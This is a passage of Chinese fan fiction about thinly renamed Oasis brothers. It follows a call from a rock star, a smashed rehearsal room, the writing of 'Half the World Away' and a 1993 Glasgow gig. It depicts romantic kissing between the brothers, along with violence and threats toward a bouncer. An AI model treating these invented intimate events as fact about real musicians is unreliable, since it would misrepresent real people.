在男人同意后他立刻捂着电话话筒怒吼,“把那个该死的音乐关上,别让我说第二遍!”
在房间内的小混蛋们骂出声前,他继续道,语气激动。
“电话那边是约翰·马儿!”
“你在开玩笑吧?!”女孩们惊叫,捂着嘴一副不相信的模样。
而利亚姆一伙人在诺尔话音刚落就快速围着电话观望,男孩们以期待的眼神注视着诺尔。
房间变得安静,诺尔的身边围满了脑袋,他迎着所有人的期待继续与约翰·马儿通话。
“你听了我们乐队录制的demo?就是那张磁带。”
诺尔保持镇定询问,但内心打起退堂鼓。
然而电话那边传来一阵轻笑,诺尔一伙人无法判断这笑声是否有着嘲弄。
“你们乐队的音乐逊爆了!”
约翰·马儿对这支Bloom乐队很直白……的嘲笑,这让诺尔沉默,让利亚姆失望,让头哥和Guigs无措挠头。
“不过你们的音乐有种粗糙的美感,我喜欢你们的demo,要不然我不会打来这通电话。”
约翰·马儿低沉的声音透过话筒传到每个人的耳中。
“操蛋!他在夸我们吗?”利亚姆靠近诺尔在他哥耳边询问,有些不可置信,他以为这位摇滚明星会将他们的音乐臭骂一顿。
所有人变得安静,沉浸在惊喜中,尤其是诺尔。
“我觉得,是的。”不属于房间内任何一人的声音。没有人说话,这是从电话对面传来的声音。
“Fuck! 他听到了。”
利亚姆羞愧远离电话,确保他说出的话不被电话里的人再次听到。
“可以邀请你来我们乐队的排练室吗?你可以加入我们一起……”诺尔大胆询问,有时候他的胆子大到惊人。
所有人等候电话那边人的回复,紧张的屏着呼吸。
“当然可以。”
“哦天哪!”诺尔握着拳头比划出胜利的姿势。
“你什么时候能有空过来?”诺尔带着激动的心情再次询问。
“不知道,我需要看我的演出安排,我最近有点忙,有可能一个月后。”
“这不是问题哥们,你可以随时到India House来找我。”
“好……”
看来这位摇滚明星是在百忙中抽出时间打电话给他们,因为约翰·马儿在与他们简约对话后便快速挂断了电话。
“今天应该设置个纪念日,就叫做与约翰·马儿的通话日!”诺尔放下电话幽默道。
他搂住前方头哥的肩膀,兴奋道,“我接到了摇滚明星的电话!这是值得铭记的历史,我相信他会喜欢上我们的乐队和我们的音乐。”
47. 利亚姆的风流债
“我不知道……”头哥甚至比他更激动,摸着脖子仰着脑袋,一副天人出窍的样子。
“男孩们,快过来喝一杯。”围在收音机前的三位女孩欢呼。
她们摇滚手中的酒瓶,把啤酒飞沫喷得到处都是,有些喷到女孩们的薄上衣上,浸湿的衣服让女孩姣好的曲线露出来了,这足以让火气刚盛的男孩们为之疯狂。
尤其是利亚姆,跑到女孩们的中间拥着她们跳舞。头哥也愿意跟着他胡闹,搂着利亚姆的肩膀一起喝酒唱歌。
而Guigs相较于他们就显得安静很多……窝在沙发角落默默看着。
“Rkide to me !”
利亚姆邀请他加入。
“Piss off! ”他虽这样骂,但他还是来到利亚姆身边,与他一同喝酒互吹。
有着音乐,抱着酒瓶,以及美女相伴,今晚对每个人来说都很精彩……
第二天,诺尔醒了,带着宿醉的脑袋从地上爬起来。
由于昨晚的胡闹,整个房间一团糟,酒瓶、烟头散落一地。看到这些垃圾他的脑子都要爆炸了,只能拖着宿醉的身体收拾房间。
“Fuck! ”
收拾了半小时终于结束了,房间的卫生收拾好了,他还得收拾自己的卫生。
抓起贴身衣物靠近鼻边,一头恶臭直冲脑子,他快速把身上穿的脏衣脱下快速进入浴室淋浴。
现在是中午十二点半左右,他在公寓附近的中餐厅解决午饭。吃完后,他打算去排练室看看,他需要录制一张吉他独奏便于以后排练拿出来对比。
用于乐队排练的房间挺多,而诺尔他们的房间在走廊的最后一间。
这时候阳光正好,慵懒地散落在门上,投下漂亮的斑驳树影。
到了,他打开,不由得一愣。
“操蛋,你们在搞什么?!”
排练室里的设备全部被分尸,挂在墙上的吉他贝斯等不知所踪,地上摆着四分八裂的玻璃酒瓶,以及不知从何而来的血迹……
“我他妈是进入犯罪现场了吗?”没有人理他。
因为他妈的始作俑者根本就没有从睡眠中醒来,利亚姆正睡在一张垫子上紧闭着双眼。
他来到男孩的脑袋边上跪下来弯着腰,把巴掌拍到熟睡人的脸上。
“啪!”
“Fuck you, you know! ”利亚姆被打醒,瞪着迷蒙的蓝眸,他持有理智没有与诺尔打在一块儿。
“你是疯了吗?你他妈打我!”利亚姆坐起来对他哥对峙。
“发生了什么?你们凌晨离开我的公寓又来排练室鬼混,把你知道的告诉我。”诺尔指着排练室的狼藉,拧着眉发问。
利亚姆苦恼垂头叹气,他抱着脑袋拍打想要回忆凌晨发生在排练室的抓马事件。
终于,他抬眼与诺尔对上视线……举起他受伤的右手。
这时候诺尔才注意到他受伤的手掌,已经被包扎好,他放下心来。
“操蛋,一切都要从离开你的公寓来讲……”
利亚姆难堪垂眸,将凌晨发生的事大概讲了下。
简单来说就是一股风流债。凌晨从India House 离开后,利亚姆是个火气方刚的小伙,他带着头哥、Guigs和女孩一伙人来到排练室狂欢,给那些没有见识过摇滚音乐的女孩们展示什么是真正的英伦摇滚。
利亚姆很帅气且是个坏小子,队伍里的一位黑发女郎钟爱他这一款,拉着他在房间内亲热。
与此同时好巧不巧,塞里尔进来了,因她在任何地方都找不到她的男朋友,所以她来到了排练室。一进门她就看到她的男友被一位身材火辣的黑发女人压在身下,就算他们还未发生什么,但这也让塞里尔气炸了。
她拉开女人并在利亚姆的“情人”的脸上来了一拳,鲜血顺着女人的鼻子流出并落到地上,犹如炸开一个个红色的鲜花。
而利亚姆也没有逃过塞里尔的审判,她抓起一个酒瓶就往男友身上扔,正中利亚姆举起的右手。同他的“情人”一样,鲜血落了一地……
头哥与guigs被赛里尔的彪悍吓住,在反应过来后急忙把受伤的二人护在身后并劝告塞里尔冷静。当然,这让她更恼怒了,发狠把排练室里所有的设备推倒。guigs反应很迅速阻止了塞里尔伸向演奏乐器的魔爪,而头哥趁机把乐器放到别的房间。
“然后呢?”诺尔打断询问。
“塞里尔离开了……”叹气声。
“你的手怎么包扎的?”
“头哥把我们送到了附近的诊所。”
“那位被打的女孩呢?”
“她没事……”再次叹气。
“你知道这是你的错,you know what I mean. ”诺尔点上一根烟递给狼狈的利亚姆。
男孩正望着门口不知道想着什么,他在后悔吗?不,利亚姆绝不会为他做过的事情后悔。
在二人沉默中门被其他人打开。
“诺尔,你来了。”头哥进门站到兄弟俩身边,他盯着诺尔的脑袋道,“你知道了?”
诺尔感受到他的视线,抬头,“是的,Rkid都告诉我了,这太胡闹了。”
他指着那些倒地的设备,“不知道音箱有没有损坏,那可真需要赔一大笔钱……”
他止住话头,看来头哥听懂了他口中的责怪意味。
头哥无措地在房间内踱步,“是我的错。”他说完羞愧低头叹气。
“不,这不是你的错。”诺尔接话,他把视线放在利亚姆身上。
“得了,是我的错,我承认。”利亚姆躲开他的视线站起,来到倒地的设备前把它们扶起。
诺尔无奈叹气,走近利亚姆帮他一起收拾房间的狼藉。今天他够累了……他还得处理排练室里的烂摊子。
“我会把塞里尔踢出我的生活,让鸟们离我远点,我保证。”
排练室被收拾好,终于可以休息的利亚姆跳到窗台坐在半开的窗子上,他出神地望着窗外的蓝天轻道。
“老弟,你不会的,你喜欢塞里尔。”诺尔来到男孩身后,浅笑。
他的脑袋贴着男孩泛着热气的脖颈,能够清晰感知到男孩平稳的呼吸。
头哥出门了,想必他是回家休息去了。
在排练室只剩下他们两人后诺尔把嘴唇贴到男孩的耳后,这下,男孩的呼吸变得急促沉重。
他轻笑,别过利亚姆的脑袋轻吻他的嘴角。
“你爱塞里尔,不是吗?”他再次询问,带着微许蛊惑。
你以为他想他的弟弟与女友分手吗?让你失望了,他并不是这般想。
相反,他倒是希望利亚姆与塞里尔的关系能长久些。毕竟塞里尔很识趣,她惧怕诺尔,诺尔很容易掌控她。
重要的是,诺尔可不希望再有一位陌生女性接近利亚姆的生活,他很厌烦与利亚姆的下一任陌生女友磨合。塞里尔就很好,诺尔已经熟悉她了。
“我不知道。”
男孩的眼眸泛着失真,他的脑子像一坨浆糊一样无法给出诺尔回复。
他把身体的力道放到身后的诺尔身上,整个人靠在温热的胸膛上。
“我想我是喜欢赛里尔的,她会与我分手吗?我不想……”利亚姆变得低迷,伤心的阖眸。
“没事,她也爱你不是吗?她不会离开你,相信你的哥哥。”
诺尔把左手放到怀里人的肩上并不时地抚摸,他软声安抚道。
利亚姆摆脱诺尔的力道,手掌撑着窗沿从半米高的窗台上跳下来。
这下利亚姆在屋外,诺尔在屋内,利亚姆背着阳光,而诺尔迎着阳光。
“走了。”眼前的黑影动了动。
“嗯,好好休息。”他对着远去黑影道,望着利亚姆泛着金光的脑袋发笑。
“晚上见,Rkid. ”利亚姆背着他摆手。
他的声音被风吹散,听起来就像柳絮一样在空中乱飞,挠人心弦得很。
男孩的影子投在墙上,慢慢的它挪到地面上,挪到台阶上,直至一分钟后诺尔的视线看不到那抹拉长的黑影。
诺尔关上窗坐到混音台边上的木椅上,想了想他站起来抱了把电吉他重新落座并把怀里的电吉他与混音台通上电。
“咔——”他把效果器连上,把音响的音量调到最大夫,手里的吉他拨片扫出一串低音和弦……
“铛铛铛——”他震惊停住指尖的动作,眼睛不自觉发亮。
这串和弦合适他所需要的,我应该用这段简单的和弦写一首歌。
旋律有了,他只需要往里面填歌词。诺尔抱着吉他垂眸,脑袋不自觉飘到利亚姆身上。
我应该写一首“兄弟之歌”,有关他和利亚姆……若是这个小混蛋在他身边他会很高兴与他分享,但很可惜利亚姆不在。
他放下吉他从房间找出纸笔,趴在瓷砖地面上
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提笔。顾不了身下的凉意,快速在纸上涂画急切想要把脑子里关于“兄弟之歌”的灵感简约记录。
在完成一段词后,他又赶忙从地上爬起来把脑子里凭空出现的神奇旋律录下来,录完后继续想下一段歌词,完成后继续爬起来刻录歌曲……周而复始。
谢谢耶稣,因对音乐至死不渝的爱,诺尔用了半天终于把这首歌完成制作出来,但还缺少贝斯和鼓点的伴奏。
所幸夜间的排练时刻即将到来,他的成员们将会陪伴诺尔与他一同完成制作。
“这首歌应该叫什么?”晚间成员们询问。
“《Half the World Away》,就这样决定。”诺尔一锤定音,一首崭新的歌曲在他们乐队凭空出世掀起音乐小浪花。
“我爱这首歌……它让我伤心。”多愁善感的Guigs这般说道。
“我不会唱这首娘们唧唧的歌,我是要哭给我的观众们看么。”利亚姆的恶毒评价永不缺席。
但男孩却不知道的是这首歌与他们息息相关……这个傻子。
“你个蠢货。”诺臭骂,不爽道,“你不唱的话我会自己唱这首歌曲,这首歌的确不适合你的嗓音。”他理性评价。
“那很好,我可以休息了。”利亚姆负气道,好不顾及他哥的情绪这个人懒散的瘫在地面上,他决心想让诺尔生气。
但这次诺尔没有,他把注意力完全放在音乐上对躺在地上的利亚姆视而不见。
在意料之中,因得不到所有人的关注,利亚姆不到几分钟便识趣地拍拍屁股站起来,他坐在音箱上观看诺尔唱着一首“苦情歌”。
利亚姆张着嘴一副神游的模样,他的脑子里闪烁摇滚巨星应该的模样并持续发散运转。
毕竟,《Half the World Away》这首歌一点儿也不摇滚。利亚姆绝不会唱这种娘们唧唧的歌曲,他是摇滚乐队的主唱,他会成为摇滚巨星,他不会给自己的摇滚生涯留下黑历史。
录的差不多了,诺尔为他们的主唱腾出位置,把还在发呆中的利亚姆脱到话筒架旁。
“回神了,小混蛋。”
“诺尔……我与塞里尔和好了。”
“为什么告诉我?”
“我觉得你会想知道。”
“不,我不想知道,好好唱你的歌。”
诺尔说完后退到不起眼的左后方。他对利亚姆与塞里尔的恋爱游戏一点儿也不在乎,他只想安静待在一角落听着音响发出的震耳音乐声。
他像一只窝在黑暗中受伤的狼崽,默默舔舐身上的伤口。只是诺尔的伤口出现在心脏上,他能感受到心脏被挤压的窒息感。
他安慰自己,利亚姆与赛丽尔的恋爱只是一场约会游戏……
利亚姆抓着话筒架,在头哥一伙人的鼓励下来了个爱尔兰传统舞步,潇洒得很……得了,这个只有诺尔受伤的世界,诺尔收起内心的失落感努力勾起嘴角。
“Rkid, 加入我!”
利亚姆在邀请他与他一起跳舞。
诺尔放下怀里的吉他,半抬起左臂搭在利亚姆的右臂上,兄弟俩就像小时候一样把二人手臂交缠在一块儿顺着互相的力道在原地踢踏转圈。
注意到朋友们调侃的目光,诺尔搂着利亚姆的肩膀停止晃动,对着头哥一伙人嘚瑟道,“或许我们应该继续排练,我知道我们兄弟两跳到比你们厉害多了……”
“诺尔,你是不知道低调怎么写么。”安静害羞的Guigs难道怼了他一次。
诺尔给他面子,立刻抱着吉他闭嘴,但他还是想犯贱再说一次,“我跳的就是很棒。”
“闭嘴。”好吧,这次头哥也忍不住怼他了。
“Haha! ”
利亚姆朝着他的方向疯狂嘲笑,这次轮到诺尔忍不住怼人了。
“闭嘴!”他的巴掌在利亚姆的后背轻拍一掌。很奏效,利亚姆立刻委屈望向他并在他的眼神示意下站到话筒架前准备唱歌。
“Good boy. ”诺尔心想。
他喜欢利亚姆的狗狗眼和其听话的态度,这让他的心情得到极大舒展,感觉浑身通上劲他甚至还想来段吉他solo。
“唱哪首?该死的爵士乐么!”利亚姆自问自答,把他对诺尔的怨气表现得淋漓尽致。
“滚蛋!当然是昨晚的排练曲目。”诺尔不爽道。
他首先抬手扫出和弦,利亚姆听懂了抓着话筒唱起来。
48. 格拉斯哥演出
“我要到了约翰·马儿的私人电话。”
诺尔回到公寓,对着躺在沙发上看电视的利亚姆兴奋道。
“哦。”利亚姆冷漠道,好似感到话里的敷衍,他补充一句,“祝贺你。”
言不由衷,又很敷衍的利亚姆。
诺尔没把男孩的态度当回事,他保持在兴奋状态,因为史密斯乐队前吉他手给他送了把名吉他!
“你的那群女孩呢,她们没有围在你的身边吗?”
诺尔坐到利亚姆腿边问。毕竟那些女孩们像口香糖一样黏着利亚姆,但是现在他可没看到那些鸟们(女孩们)。
“我让她们离开了,她们在我耳边一直说话,叽叽喳喳的鸟!”
利亚姆转头抱怨。
“老弟,这是你招来的,谁让你长了张讨女孩们欢心的脸蛋。”
他说得很对,所以利亚姆闭嘴了,继续窝在沙发上看该死的脱口秀。
诺尔不喜欢这个节目,所以他从利亚姆手里夺走遥控器,并嘲讽道。
“看聪明点的节目吧,难怪你很笨,你的脑子已经被愚蠢的搞笑节目侵蚀了,老弟。”
他换成儿童节目,靠着沙发看得津津有味。
“You not a child! SHAME ON YOU. ”
利亚姆向他投来嫌弃的眼神,离开沙发来到他的左后方。
诺尔转头瞧了一眼,在墙角赫然竖着一把漂亮的吉他。
利亚姆摸着琴身,随手扫了下琴弦。他不会弹吉他,他只是想发出点声音吸引诺尔的关注。正巧,这把吉他是约翰·马儿送的,他会把他的魔爪伸向这把名贵吉他,因为他看那位摇滚明星不顺眼。早上这位“大人物”吸引了诺尔全部的关注,诺尔都忘记他的弟弟还在公寓呢!
“这是我这辈子听过最难听的噪音!”
诺尔对着噪音来源地投以鄙视的目光。
“把那把吉他抱过来,我会让你见识到它美妙绝伦的旋律。”诺尔拍着身边的位置。
在利亚姆抱着吉他坐到他旁边后,诺尔来到男孩身后,他的后背紧紧贴着沙发靠背,而胸膛与男孩的后背贴得紧实,他能感受到利亚姆的温度,利亚姆的呼吸……
“我教你。”诺尔把着男孩的右手贴到琴弦上。
“这把琴很贵也很棒,他的前主人为The Who 乐队的吉他手……”他边介绍这把吉他的由来边按着利亚姆的指尖在琴弦上活动。
他的左手按住音阶,右手带着利亚姆的右手在弦上拨出一个调子,这是“G”……指型由“Mi”变为“La ”。
“很神奇。”利亚姆的目光直直盯着诺尔的指尖动作,眼里满是崇拜。
“你很厉害,诺尔。”他兴奋转头道,由于大幅度的摆动,他的嘴角堪堪擦过诺尔的脸颊。
二人一愣,这才注意到他们的身体贴得那般亲密。他们没有动作,视线交错。
利亚姆无措盯着诺尔厚实的嘴唇,无意识咽着口水。
“我知道. ”诺尔低声回应利亚姆的赞美,按压琴弦的指尖蜷缩,“你……Fu…… ck!”
一句脏话因震惊说得断断续续,利亚姆在他嘴唇上亲了一口。
“你特么!”
“不要说出来。”利亚姆离开沙发无措道,“我知道我们不应该,但是你知道我什么意思,你离我那么近我看到的只有你的嘴巴,这不怪我这全是你的错。”
话毕,他把吉他妥善放好,洋装淡定抱着胸站在电视机前。
以此同时,二人视线一直都在彼此的身上。诺尔是哥哥,他妥协了。诺尔总会因为男孩妥协,为男孩的所做所为找补,他有义务这样做。
“这是爱,我们是兄弟,我知道你爱我。”诺尔皱眉,眼神示意让男孩走近,“这没什么大不了的。”
“过来。”他对着站在原地发愣的男孩强硬道。
利亚姆挪动小碎步坐到沙发上,眼神透露出迷茫。
“哎哎哎!”
他发出动静吸引利亚姆的注意力。
“什么?”
利亚姆躲开诺尔想要搭在他肩头的胳膊,迟疑道。
“我告诉约翰·马儿我们下周将参加格拉斯哥
演出。”
“你为什么要告诉他,他不会来的。”利亚姆皱眉。
“我知道……但他很酷不是么,我们需要他的支持。”诺尔淡淡道。
“我们不需要,我的乐队会比他厉害。”
利亚姆又开始那一套自负狂发言。诺尔继续妥协。
“行吧……我们还好吧?我说的是你还好吗?”
“我棒极了。”
利亚姆走来了,拿着他的外套离开了公寓,不知道诺尔的哪一句话让他不开心,撂下他的臭脸走了。
这对诺尔没什么,他不要兄弟的陪伴。他很庆幸利亚姆离开让他得空放空脑袋,躺在沙发上观看儿童节目。
——分界
时间:1993年6月23日。
诺尔一伙人雇一辆巡演大巴跟着Sister Lover女子乐队一起去格拉斯哥演出。
下午五点左右,他们到了格拉斯哥演出地点,一家知名的叫做“Kings Tuts ”大型俱乐部
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“你们不在演出名单内。Bloom? 我没听过。”
他们一伙人被彪悍保安拦在俱乐部门口。
男人鄙夷的语气给他们重击,感觉他们的人格收到了侮辱。
利亚姆绝不会善罢甘休,他跳起来指着比他高两个头的大喊臭骂。
“你又是个什么人物,我也从来没听说过你的名字,一个头脑简单的莽夫!”
门口的保安开始挥动拳头,但利亚姆速度很快躲过拳头攻击。
“我的天,我从来没见过一个保安那么嚣张!”
利亚姆揍近诺尔耳边道,他的声音大到周围的一圈观众都能听到。
诺尔接受老弟的暗示,带着Bonehead 、Guigs 和托尼把高大的男人围起来,他们各自虽没有男人高,但他们的气势可一点没输。
诺尔带头,走到男人近前盯着他的眼睛强势道,“如果你不放我们进去表演,我们人多你知道的,我们会在门口搞破坏,驱赶那些想要进入俱乐部的观众们。”
他加重语气继续威胁,,“我想我的朋友们很乐意陪你一起耗下去……你知道我什么意思,我们就想进去进行一场免费的表演,你放我们进入没有任何损失。”
“……”高大的保安退了一步,“可以,你们进吧,在表演晚会请立刻离开。”
他侧身,让这群人赶紧离开门口。
诺尔了然勾起嘴角,带头进入通往舞台的走廊。
“你可真能……”利亚姆在他身侧走着,凑到他耳边低语。
“嗯哼。”诺尔顺手搂着利亚姆的肩膀,得意道,“当然,我可是诺尔·汉纳姆,你的二哥!”
利亚姆笑出声,扒开肩膀上胳膊后走到头哥一伙人中间,向朋友们吐槽门口那位头脑简单的傻大个保安。
“若他不放我进来,我绝对会打爆这人的脑袋……”
诺尔听到了,不由得发笑。利亚姆这小子是真的没有自知之明,那位保安的胳膊都有他的脑袋大了,他是怎么说出暴打比他高几个头的保安的自信发言。
走廊不长,走了一分钟就到了后台的更衣室。
“Debbie——”Debbie是sister lover乐队的主唱兼吉他手,她站在门口等待诺尔一伙人。
“你们被拦门口了?”Debbie不由得担忧询问。
“是。”诺尔直视她道,勾起嘚瑟的嘴角,“我们都解决了,他们很放心让我们进场表演。”他瞎眼说胡话,不让自己落了面子。
“你在开玩笑,你们这群混蛋恨不得把这个地方搅合得人仰马翻!”